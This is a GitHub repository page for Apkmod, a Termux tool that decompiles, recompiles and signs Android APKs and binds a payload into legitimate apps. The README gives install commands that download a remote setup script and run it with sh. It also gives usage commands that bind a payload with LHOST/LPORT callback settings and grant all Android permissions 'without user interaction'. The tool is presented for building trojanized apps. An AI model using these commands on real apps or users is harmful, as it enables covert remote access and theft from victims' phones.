Skip to content
forked from Hax4us/Apkmod

Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP

License

Notifications You must be signed in to change notification settings

manascms/Apkmod

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Apkmod v2.2

Author : Lokesh @Hax4us

Steps For Installation

  1. First goto home directory cd $HOME
  2. Get the setup script wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh
  3. Execute the script sh setup.sh
  4. Now you can execute command apkmod

Usage :

  1. For decompiling apkmod -d /path/to/inapp.apk -o /path/to/outdirectory. It will decompile inapp.apk into outdirectory folder.
  2. For recompiling apkmod -r /path/to/indirectory -o /path/to/outapp.apk. It will recompile indirectory ( where decompiled files are exists ) into outapp.apk.
  3. For signing apkmod -s /path/to/unsignedapp.apk -o /path/to/signedapp.apk. It will sign unsignedapp.apk and saves output ( signed app ) to signedapp.apk.
  4. For binding apkmod -b /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444. It will bind payload with originalApp.apk and saves final binded app to binded.apk.
  5. Use -V to enable verbose output
  6. If only editing Java (smali) then this is the recommended action for faster decompile & rebuild --no-res
  7. If you are only editing the resources. This is the recommended action for faster disassemble & assemble --no-smali
  8. use --frame-path to specify framework directory like --frame-path=/path/to/dir
  9. Use --enable-perm to enable all android permissions in binded or non binded payloads without user interaction. For example :- apkmod --enable-perm=/path/to/binded.apk -o mybinded.apk
  10. apkmod --to-java=/path/to/in.apk -o outfolder will decompile dex to java. Input can be [.apk,.dex,.zip]

Size Comparision (Termux)

Size   Apkmod   Third party tools
after installation Around 100 MB Around 700-900 MB

Why Apkmod is extremely small ?

Because it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.

You can join me on telegram also

https://t.me/joinchat/F1x4pElUinv6KLDTREJhZg

About

Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Languages

  • Shell 67.9%
  • Ruby 32.1%